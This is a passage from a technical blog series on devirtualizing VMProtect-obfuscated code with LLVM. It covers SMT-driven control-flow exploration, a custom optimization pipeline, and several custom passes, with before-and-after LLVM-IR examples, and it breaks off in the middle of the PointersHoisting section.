define dso_local i64 @F_0x14000101f_NoLoopOpt(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) {
  br label %1

1:                                                ; preds = %1, %0
  %2 = phi i64 [ 0, %0 ], [ %3, %1 ]
  %3 = add i64 %2, 1
  %4 = icmp eq i64 %2, 1999
  br i1 %4, label %5, label %1

5:                                                ; preds = %1
  store i64 %3, i64* %rbx, align 8
  store i64 2000, i64* %rax, align 8
  ret i64 5368713281
}

The final CFG obtained at the completion of the exploration phase.

define dso_local i64 @F_0x14000101f_WithLoopOpt(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) {
  store i64 2000, i64* %rbx, align 8
  store i64 2000, i64* %rax, align 8
  ret i64 5368713281
}

The loop-optimized final CFG obtained at the completion of the exploration phase.

The FirstSlice function shows that a single unconditional branch has been detected, identifying the bytecode address 0x1400B85C1 (5369464257), this is because there’s no knowledge of the back edge and the comparison would be cmp 1, 2000. The SecondSlice function instead shows that a conditional branch has been detected selecting between the bytecode addresses 0x140073BE7 (5369183207) and 0x1400B85C1 (5369464257). The comparison is now done with a symbolic PHINode. The F_0x14000101f_WithLoopOpt and F_0x14000101f_NoLoopOpt functions show the fully devirtualized code with and without loop optimizations applied.

Pseudocode

Given the knowledge obtained from the motivating examples, the pseudocode for the automated partial CFG driven exploration is the following:

  1. We initialize the algorithm creating:

    • A stack of addresses of VmBlocks to explore, referred to as Worklist;
    • A set of addresses of explored VmBlocks, referred to as Explored;
    • A set of addresses of VmBlocks to reprove, referred to as Reprove;
    • A map of known edges between the VmBlocks, referred to as Edges.
  2. We push the address of the entry VmBlock into the Worklist;
  3. We fetch the address of a VmBlock to explore, we lift it to LLVM-IR if met for the first time, we build the partial CFG using the knowledge from the Edges map and we slice the branch condition of the current VmBlock. Finally we feed the branch condition to Souper, which will process the expression harvesting the needed constraints and converting it to an SMT query. We can then send the query to an SMT solver, asking for the valid solutions, incrementally rejecting the known solutions up to some limit (worst case) or till all the solutions have been found.
  4. Once we obtained the outgoing edges for the current VmBlock, we can proceed with updating the maps and sets:

    • We verify if each solved edge is leading to a known VmBlock; if it is, we verify if this connection was previously known. If unknown, it means we found a new predecessor for a known VmBlock and we proceed with adding the addresses of all the VmBlocks reachable by the known VmBlock to the Reprove set and removing them from the Explored set; to speed things up, we can eventually skip each VmBlock known to be firmly unconditional;
    • We update the Edges map with the newly solved edges.
  5. At this point we check if the Worklist is empty. If it isn’t, we jump back to step 3. If it is, we populate it with all the addresses in the Reprove set, clearing it in the process and jumping back to step 3. If also the Reprove set is empty, it means we explored the whole CFG and eventually reproved all the VmBlocks that obtained new predecessors during the exploration phase.

As mentioned at the start of the section, there are many ways to explore a virtualized CFG and using an SMT-driven solution may generalize most of the steps. Obviously, it brings its own set of issues (e.g. hard to solve constraints), so one could eventually fall back to the pattern matching based solution at need. As expected, the pattern matching based solution would also blindly explore unreachable paths at times, so a mixed solution could really offer the best CFG coverage.

The pseudocode presented in this section is a simplified version of the partial CFG based exploration algorithm used by SATURN at this point in time, streamlined from a set of reasonings that are unnecessary while exploring a CFG virtualized by VMProtect.

Pipeline

So far we hinted at the underlying usage of LLVM’s optimization and analysis passes multiple times through the sections, so we can finally take a look at: how they fit in, their configuration and their limitations.

Managing the pipeline

Running the whole -O3 pipeline may not always be the best idea, because we may want to use only a subset of passes, instead of wasting cycles on passes that we know a priori don’t have any effect on the lifted LLVM-IR code. Additionally, by default, LLVM is providing a chain of optimizations which is executed once, is meant to optimize non-obfuscated code and should be as efficient as possible.

Although, in our case, we have different needs and want to be able to:

  • Add some custom passes to tackle context-specific problems and do so at precise points in the pipeline to obtain the best possible output, while avoiding phase ordering issues;
  • Iterate the optimization pipeline more than once, ideally until our custom passes can’t apply any more changes to the IR code;
  • Be able to pass custom flags to the pipeline to toggle some passes at will and eventually feed them with information obtained from the binary (e.g. access to the binary sections).

LLVM provides a FunctionPassManager class to craft our own pipeline, using LLVM’s passes and custom passes. The following C++ snippet shows how we can add a mix of passes that will be executed in order until there won’t be any more changes or until a threshold will be reached:

void optimizeFunction(llvm::Function *F, OptimizationGuide &G) {
  // Fetch the Module
  auto *M = F->getParent();
  // Create the function pass manager
  llvm::legacy::FunctionPassManager FPM(M);
  // Initialize the pipeline
  llvm::PassManagerBuilder PMB;
  PMB.OptLevel = 3;
  PMB.SizeLevel = 2;
  PMB.RerollLoops = false;
  PMB.SLPVectorize = false;
  PMB.LoopVectorize = false;
  PMB.Inliner = createFunctionInliningPass();
  // Add the alias analysis passes
  FPM.add(createCFLSteensAAWrapperPass());
  FPM.add(createCFLAndersAAWrapperPass());
  FPM.add(createTypeBasedAAWrapperPass());
  FPM.add(createScopedNoAliasAAWrapperPass());
  // Add some useful LLVM passes
  FPM.add(createCFGSimplificationPass());
  FPM.add(createSROAPass());
  FPM.add(createEarlyCSEPass());
  // Add a custom pass here
  if (G.RunCustomPass1)
    FPM.add(createCustomPass1(G));
  FPM.add(createInstructionCombiningPass());
  FPM.add(createCFGSimplificationPass());
  // Add a custom pass here
  if (G.RunCustomPass2)
    FPM.add(createCustomPass2(G));
  FPM.add(createGVNHoistPass());
  FPM.add(createGVNSinkPass());
  FPM.add(createDeadStoreEliminationPass());
  FPM.add(createInstructionCombiningPass());
  FPM.add(createCFGSimplificationPass());
  // Execute the pipeline
  size_t minInsCount = F->getInstructionCount();
  size_t pipExeCount = 0;
  FPM.doInitialization();
  do {
    // Reset the IR changed flag
    G.HasChanged = false;
    // Run the optimizations
    FPM.run(*F);
    // Check if the function changed
    size_t curInsCount = F->getInstructionCount();
    if (curInsCount < minInsCount) {
      minInsCount = curInsCount;
      G.HasChanged |= true;
    }
    // Increment the execution count
    pipExeCount++;
  } while (G.HasChanged && pipExeCount < 5);
  FPM.doFinalization();
}

The OptimizationGuide structure can be used to pass information to the custom passes and control the execution of the pipeline.

Configuration

As previously stated, the LLVM default pipeline is meant to be as efficient as possible, therefore it’s configured with a tradeoff between efficiency and efficacy in mind. While devirtualizing big functions it’s not uncommon to see the effects of the stricter configurations employed by default. But an example is worth a thousand words.

In the Godbolt UI we can see on the left a snippet of LLVM-IR code that is storing i32 values at increasing indices of a global array named arr. The store at line 96, writing the value 91 at arr[1], is a bit special because it is fully overwriting the store at line 6, writing the value 1 at arr[1]. If we look at the upper right result, we see that the DSE pass was applied, but somehow it didn’t do its job of removing the dead store at line 6. If we look at the bottom right result instead, we see that the DSE pass managed to achieve its goal and successfully killed the dead store at line 6. The reason for the difference is entirely associated to a conservative configuration of the DSE pass, which by default (at the time of writing), is walking up to 90 MemorySSA definitions before deciding that a store is not killing another post-dominated store. Setting the MemorySSAUpwardsStepLimit to a higher value (e.g. 100 in the example) is definitely something that we want to do while deobfuscating some code.

Each pass that we are going to add to the custom pipeline is going to have configurations that may be giving suboptimal deobfuscation results, so it’s a good idea to check their C++ implementation and figure out if tweaking some of the options may improve the output.

Limitations

When tweaking some configurations is not giving the expected results, we may have to dig deeper into the implementation of a pass to understand if something is hindering its job, or roll up our sleeves and develop a custom LLVM pass. Some examples on why digging into a pass implementation may lead to fruitful improvements follow.

IsGuaranteedLoopInvariant (DSE, MSSA)

While looking at some devirtualized code, I noticed some clearly-dead stores that weren’t removed by the DSE pass, even though the tweaked configurations were enabled. A minimal example of the problem, its explanation and solution are provided in the following diffs: D96979, D97155. The bottom line is that the IsGuarenteedLoopInvariant function used by the DSE and MSSA passes was not using the safe assumption that a pointer computed in the entry block is, by design, guaranteed to be loop invariant as the entry block of a Function is guaranteed to have no predecessors and not to be part of a loop.

GetPointerBaseWithConstantOffset (DSE)

While looking at some devirtualized code that was accessing memory slots of different sizes, I noticed some clearly-dead stores that weren’t removed by the DSE pass, even though the tweaked configurations were enabled. A minimal example of the problem, its explanation and solution are provided in the following diff: D97676. The bottom line is that while computing the partially overlapping memory stores, the DSE was considering only memory slots with the same base address, ignoring fully overlapping stores offsetted between each other. The solution is making use of another patch which is providing information about the offsets of the memory slots: D93529.

Shift-Select folding (InstCombine)

And obviously there is no two without three! Nah, just kidding, a patch I wanted to get accepted to simplify one of the recurring patterns in the computation of the VMProtect conditional branches has been on pause because InstCombine is an extremely complex piece of code and additions to it, especially if related to uncommon patterns, are unwelcome and seen as possibly bloating and slowing down the entire pipeline. Additional information on the pattern and the reasons that hinder its folding are available in the following differential: D84664. Nothing stops us from maintaining our own version of InstCombine as a custom pass, with ad-hoc patterns specifically selected for the obfuscation under analysis.

What’s next?

In Part 3 we’ll have a look at a list of custom passes necessary to reach a superior output quality. Then, some words will be spent on the handling of the unsupported instructions and on the recompilation process. Last but not least, the output of 6 devirtualized functions, with varying code constructs, will be shown.

Tickling VMProtect with LLVM: Part 3

By: fvrmatteo
8 September 2021 at 23:00

This post will introduce 7 custom passes that, once added to the optimization pipeline, will make the overall LLVM-IR output more readable. Some words will be spent on the unsupported instructions lifting and recompilation topics. Finally, the output of 6 devirtualized functions will be shown.

Custom passes

This section will give an overview of some custom passes meant to:

  • Solve VMProtect specific optimization problems;
  • Solve some limitations of existing LLVM passes, but that won’t meet the same quality standard of an official LLVM pass.

SegmentsAA

This pass falls under the category of the VMProtect specific optimization problems and is probably the most delicate of the section, as it may be feeding LLVM with unsafe assumptions. The aliasing information described in the Liveness and aliasing information section will finally come in handy. In fact, the goal of the pass is to identify the type of two pointers and determine if they can be deemed as not aliasing with one another.

With the structures defined in the previous sections, LLVM is already able to infer that two pointers derived from the following sources don’t alias with one another:

  • general purpose registers
  • VmRegisters
  • VmPassingSlots
  • GS zero-sized array
  • FS zero-sized array
  • RAM zero-sized array (with constant index)
  • RAM zero-sized array (with symbolic index)

Additionally LLVM can also discern between pointers with RAM base using a simple symbolic index. For example an access to [rsp - 0x10] (local stack slot) will be considered as NoAlias when compared with an access to [rsp + 0x10] (incoming stack argument).

But LLVM’s alias analysis passes fall short when handling pointers using as base the RAM array and employing a more convoluted symbolic index, and the reason for the shortcoming is entirely related to the lack of type and context information that got lost during the compilation to binary.

The pass is inspired by existing implementations (1, 2, 3) that are basing their checks on the identification of pointers belonging to different segments and address spaces.

Slicing the symbolic index used in a RAM array access we can discern with high confidence between the following additional NoAlias memory accesses:

  • indirect access: if the access is a stack argument ([rsp] or [rsp + positive_constant_offset + symbolic_offset]), a dereferenced general purpose register ([rax]) or a nested dereference (val1 = [rax], val2 = [val1]); identified as TyIND in the code;
  • local stack slot: if the access is of the form [rsp - positive_constant_offset + symbolic_offset]; identified as TySS in the code;
  • local stack array: if the access if of the form [rsp - positive_constant_offset + phi_index]; identified as TyARR in the code.

If the pointer type cannot be reliably detected, an unknown type (identified as TyUNK in the code) is being used, and the comparison between the pointers is automatically skipped. If the pass cannot return a NoAlias result, the query is passed back to the default alias analysis pipeline.

One could argue that the pass is not really needed, as it is unlikely that the propagation of the sensitive information we need to successfully explore the virtualized CFG is hindered by aliasing issues. In fact, the computation of a conditional branch at the end of a VmBlock is guaranteed not to be hindered by a symbolic memory store happening before the jump VmHandler accesses the branch destination. But there are some cases where VMProtect pushes the address of the next VmStub in one of the first VmBlocks, doing memory stores in between and accessing the pushed value only in one or more VmExits. That could be a case where discerning between a local stack slot and an indirect access enables the propagation of the pushed address.

Irregardless of the aforementioned issue, that can be solved with some ad-hoc store-to-load detection logic, playing around with the alias analysis information that can be fed to LLVM could make the devirtualized code more readable. We have to keep in mind that there may be edge cases where the original code is breaking our assumptions, so having at least a vague idea of the involved pointers accessed at runtime could give us more confidence or force us to err on the safe side, relying solely on the built-in LLVM alias analysis passes.

The assembly snippet shown below has been devirtualized with and without adding the SegmentsAA pass to the pipeline. If we are sure that at runtime, before the push rax instruction, rcx doesn’t contain the value rsp - 8 (extremely unexpected on benign code), we can safely enable the SegmentsAA pass and obtain a cleaner output.

start:
  push rax
  mov qword ptr [rsp], 1
  mov qword ptr [rcx], 2
  pop rax

The assembly code writing to two possibly aliasing memory slots

define dso_local i64 @F_0x14000101f(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) #2 {
  %1 = load i64, i64* %rcx, align 8, !alias.scope !22, !noalias !27
  %2 = inttoptr i64 %1 to i64*
  store i64 2, i64* %2, align 1, !noalias !65
  store i64 1, i64* %rax, align 8, !tbaa !4, !alias.scope !66, !noalias !67
  ret i64 5368713278
}

The devirtualized code with the SegmentsAA pass added to the pipeline, with the assumption that rcx differs from rsp - 8

define dso_local i64 @F_0x14000101f(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) #2 {
  %1 = load i64, i64* %rsp, align 8, !tbaa !4, !alias.scope !22, !noalias !27
  %2 = add i64 %1, -8
  %3 = load i64, i64* %rcx, align 8, !alias.scope !65, !noalias !66
  %4 = inttoptr i64 %2 to i64*
  store i64 1, i64* %4, align 1, !noalias !67
  %5 = inttoptr i64 %3 to i64*
  store i64 2, i64* %5, align 1, !noalias !67
  %6 = load i64, i64* %4, align 1, !noalias !67
  store i64 %6, i64* %rax, align 8, !tbaa !4, !alias.scope !68, !noalias !69
  ret i64 5368713278
}

The devirtualized code without the SegmentsAA pass added to the pipeline and therefore no assumptions fed to LLVM

Alias analysis is a complex topic, and experience thought me that most of the propagation issues happening while using LLVM to deobfuscate some code are related to the LLVM’s alias analysis passes being hinder by some pointer computation. Therefore, having the capability to feed LLVM with context-aware information could be the only way to handle certain types of obfuscation. Beware that other tools you are used to are most likely doing similar “safe” assumptions under the hood (e.g. concolic execution tools using the concrete pointer to answer the aliasing queries).

The takeaway from this section is that, if needed, you can define your own alias analysis callback pass to be integrated in the optimization pipeline in such a way that pre-existing passes can make use of the refined aliasing query results. This is similar to updating IDA’s stack variables with proper type definitions to improve the propagation results.

KnownIndexSelect

This pass falls under the category of the VMProtect specific optimization problems. In fact, whoever looked into VMProtect 3.0.9 knows that the following trick, reimplemented as high level C code for simplicity, is being internally used to select between two branches of a conditional jump.

uint64_t ConditionalBranchLogic(uint64_t RFLAGS) {
  // Extracting the ZF flag bit
  uint64_t ConditionBit = (RFLAGS & 0x40) >> 6;
  // Writing the jump destinations
  uint64_t Stack[2] = { 0 };
  Stack[0] = 5369966919;
  Stack[1] = 5369966790;
  // Selecting the correct jump destination
  return Stack[ConditionBit];
}

What is really happening at the low level is that the branch destinations are written to adjacent stack slots and then a conditional load, controlled by the previously computed flags, is going to select between one slot or the other to fetch the right jump destination.

LLVM doesn’t automatically see through the conditional load, but it is providing us with all the needed information to write such an optimization ourselves. In fact, the ValueTracking analysis exposes the computeKnownBits function that we can use to determine if the index used in a getelementptr instruction is bound to have just two values.

At this point we can generate two separated load instructions accessing the stack slots with the inferred indices and feed them to a select instruction controlled by the index itself. At the next store-to-load propagation, LLVM will happily identify the matching store and load instructions, propagating the constants representing the conditional branch destinations and generating a nice select instruction with second and third constant operands.

; Matched pattern
%i0 = add i64 %base, %index
%i1 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %i0
%i2 = bitcast i8* %i1 to i64*
%i3 = load i64, i64* %i2, align 1

; Exploded form
%51 = add i64 %base, 0
%52 = add i64 %base, 8
%53 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
%54 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %52
%55 = bitcast i8* %53 to i64*
%56 = bitcast i8* %54 to i64*
%57 = load i64, i64* %55, align 8
%58 = load i64, i64* %56, align 8
%59 = icmp eq i64 %index, 0
%60 = select i1 %59, i64 %57, i64 %58

; Simplified select instruction
%59 = icmp eq i64 %index, 0
%60 = select i1 %59, i64 5369966919, i64 5369966790

The snippet above shows the matched pattern, its exploded form suitable for the LLVM propagation and its final optimized shape. In this case the ValueTracking analysis provided the values 0 and 8 as the only feasible ones for the %index value.

A brief discussion about this pass can be found in this chain of messages in the LLVM mailing list.

SynthesizeFlags

This pass falls in between the categories of the VMProtect specific optimization problems and LLVM optimization limitations. In fact, this pass is based on the enumerative synthesis logic implemented by Souper, with some minor tweaks to make it more performant for our use-case.

This pass exists because I’m lazy and the fewer ad-hoc patterns I write, the happier I am. The patterns we are talking about are the ones generated by the flag manipulations that VMProtect does when computing the condition for a conditional branch. LLVM already does a good job with simplifying part of the patterns, but to obtain mint-like results we absolutely need to help it a bit.

There’s not much to say about this pass, it is basically invoking Souper’s enumerative synthesis with a selected set of components (Inst::CtPop, Inst::Eq, Inst::Ne, Inst::Ult, Inst::Slt, Inst::Ule, Inst::Sle, Inst::SAddO, Inst::UAddO, Inst::SSubO, Inst::USubO, Inst::SMulO, Inst::UMulO), requiring the synthesis of a single instruction, enabling the data-flow pruning option and bounding the LHS candidates to a maximum of 50. Additionally the pass is executing the synthesis only on the i1 conditions used by the select and br instructions.

This Godbolt page shows the devirtualized LLVM-IR output obtained appending the SynthesizeFlags pass to the pipeline and the resulting assembly with the properly recompiled conditional jumps. The original assembly code can be seen below. It’s a dummy sequence of instructions where the key piece is the comparison between the rax and rbx registers that drives the conditional branch jcc.

start:
  cmp rax, rbx
  jcc label
  and rcx, rdx
  mov qword ptr ds:[rcx], 1
  jmp exit
label:
  xor rcx, rdx
  add qword ptr ds:[rcx], 2
exit:

MemoryCoalescing

This pass falls under the category of the generic LLVM optimization passes that couldn’t possibly be included in the mainline framework because they wouldn’t match the quality criteria of a stable pass. Although the transformations done by this pass are applicable to generic LLVM-IR code, even if the handled cases are most likely to be found in obfuscated code.

Passes like DSE already attempt to handle the case where a store instruction is partially or completely overlapping with other store instructions. Although the more convoluted case of multiple stores contributing to the value of a single memory slot are somehow only partially handled.

This pass is focusing on the handling of the case illustrated in the following snippet, where multiple smaller stores contribute to the creation of a bigger value subsequently accessed by a single load instruction.

define dso_local i64 @WhatDidYouDoToMySonYouEvilMonster(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) {
  %1 = load i64, i64* %rsp, align 8
  %2 = add i64 %1, -8
  %3 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %2
  %4 = add i64 %1, -16
  %5 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %4
  %6 = load i64, i64* %rax, align 8
  %7 = add i64 %1, -10
  %8 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %7
  %9 = bitcast i8* %8 to i64*
  store i64 %6, i64* %9, align 1
  %10 = bitcast i8* %8 to i32*
  %11 = trunc i64 %6 to i32
  %12 = add i64 %1, -6
  %13 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %12
  %14 = bitcast i8* %13 to i32*
  store i32 %11, i32* %14, align 1
  %15 = bitcast i8* %13 to i16*
  %16 = trunc i64 %6 to i16
  %17 = add i64 %1, -4
  %18 = add i64 %1, -12
  %19 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %18
  %20 = bitcast i8* %19 to i64*
  %21 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %17
  %22 = bitcast i8* %21 to i16*
  %23 = load i16, i16* %22, align 1
  store i16 %23, i16* %15, align 1
  %24 = load i32, i32* %14, align 1
  %25 = shl i32 %24, 8
  %26 = bitcast i8* %21 to i32*
  store i32 %25, i32* %26, align 1
  %27 = bitcast i8* %3 to i16*
  store i16 %16, i16* %27, align 1
  %28 = bitcast i8* %8 to i16*
  store i16 %16, i16* %28, align 1
  %29 = load i32, i32* %10, align 1
  %30 = shl i32 %29, 8
  %31 = bitcast i8* %3 to i32*
  store i32 %30, i32* %31, align 1
  %32 = add i64 %1, -14
  %33 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %32
  %34 = add i64 %1, -2
  %35 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %34
  %36 = bitcast i8* %35 to i16*
  %37 = load i16, i16* %36, align 1
  store i16 %37, i16* %27, align 1
  %38 = add i64 %1, -18
  %39 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %38
  %40 = bitcast i8* %39 to i64*
  store i64 %6, i64* %40, align 1
  %41 = bitcast i8* %39 to i32*
  %42 = bitcast i8* %33 to i16*
  %43 = load i16, i16* %42, align 1
  %44 = bitcast i8* %19 to i16*
  %45 = load i16, i16* %44, align 1
  store i16 %45, i16* %42, align 1
  %46 = bitcast i8* %33 to i32*
  %47 = load i32, i32* %46, align 1
  %48 = shl i32 %47, 8
  %49 = bitcast i8* %19 to i32*
  store i32 %48, i32* %49, align 1
  %50 = bitcast i8* %5 to i16*
  store i16 %43, i16* %50, align 1
  %51 = bitcast i8* %39 to i16*
  store i16 %43, i16* %51, align 1
  %52 = load i32, i32* %41, align 1
  %53 = shl i32 %52, 8
  %54 = bitcast i8* %5 to i32*
  store i32 %53, i32* %54, align 1
  %55 = load i16, i16* %28, align 1
  store i16 %55, i16* %50, align 1
  %56 = load i32, i32* %54, align 1
  store i32 %56, i32* %49, align 1
  %57 = load i64, i64* %20, align 1
  store i64 %57, i64* %rax, align 8
  ret i64 5368713262
}

Now, you can arm yourself with patience and manually match all the store and load operations, or you can trust me when I tell you that all of them are concurring to the creation of a single i64 value that will be finally saved in the rax register.

The pass is working at the intra-block level and it’s relying on the analysis results provided by the MemorySSA, ScalarEvolution and AAResults interfaces to backward walk the definition chains concurring to the creation of the value fetched by each load instruction in the block. Doing that, it is filling a structure which keeps track of the aliasing store instructions, the stored values, and the offsets and sizes overlapping with the memory slot fetched by each load. If a sequence of store assignments completely defining the value of the whole memory slot is found, the chain is processed to remove the store-to-load indirection. Subsequent passes may then rely on this new indirection-free chain to apply more transformations. As an example the previous LLVM-IR snippet turns in the following optimized LLVM-IR snippet when the MemoryCoalescing pass is applied before executing the InstCombine pass. Nice huh?

define dso_local i64 @ThanksToLLVMMySonBswap64IsBack(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) {
  %1 = load i64, i64* %rax, align 8
  %2 = call i64 @llvm.bswap.i64(i64 %1)
  store i64 %2, i64* %rax, align 8
  ret i64 5368713262
}

PartialOverlapDSE

This pass also falls under the category of the generic LLVM optimization passes that couldn’t possibly be included in the mainline framework because they wouldn’t match the quality criteria of a stable pass. Although the transformations done by this pass are applicable to generic LLVM-IR code, even if the handled cases are most likely to be found in obfuscated code.

Conceptually similar to the MemoryCoalescing pass, the goal of this pass is to sweep a function to identify chains of store instructions that post-dominate a single store instruction and kill its value before it is actually being fetched. Passes like DSE are doing a similar job, although limited to some forms of full overlapping caused by multiple stores on a single post-dominated store.

Applying the -O3 pipeline to the following example won’t remove the first 64 bits dead store at RAM[%0], even if the subsequent 64 bits stores at RAM[%0 - 4] and RAM[%0 + 4] fully overlap it, redefining its value.

define dso_local void @DSE(i64 %0) local_unnamed_addr #0 {
  %2 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %0
  %3 = bitcast i8* %2 to i64*
  store i64 1234605616436508552, i64* %3, align 1
  %4 = add i64 %0, -4
  %5 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %4
  %6 = bitcast i8* %5 to i64*
  store i64 -6148858396813837381, i64* %6, align 1
  %7 = add i64 %0, 4
  %8 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %7
  %9 = bitcast i8* %8 to i64*
  store i64 -3689348814455574802, i64* %9, align 1
  ret void
}

Adding the PartialOverlapDSE pass to the pipeline will identify and kill the first store, enabling other passes to eventually kill the chain of computations contributing to the stored value. The built-in DSE pass is most likely not executing such a kill because collecting information about multiple overlapping stores is an expensive operation.

PointersHoisting

This pass is strictly related to the IsGuaranteedLoopInvariant patch I submitted, in fact it is just identifying all the pointers that could be safely hoisted to the entry block because depending solely on values coming directly from the entry block. Applying this kind of transformation prior to the execution of the DSE pass may lead to better optimization results.

As an example, consider this devirtualized function containing a rather useless switch case. I’m saying rather useless because each store in the case blocks is post-dominated and killed by the store i32 22, i32* %85 instruction, but LLVM is not going to kill those stores until we move the pointer computation to the entry block.

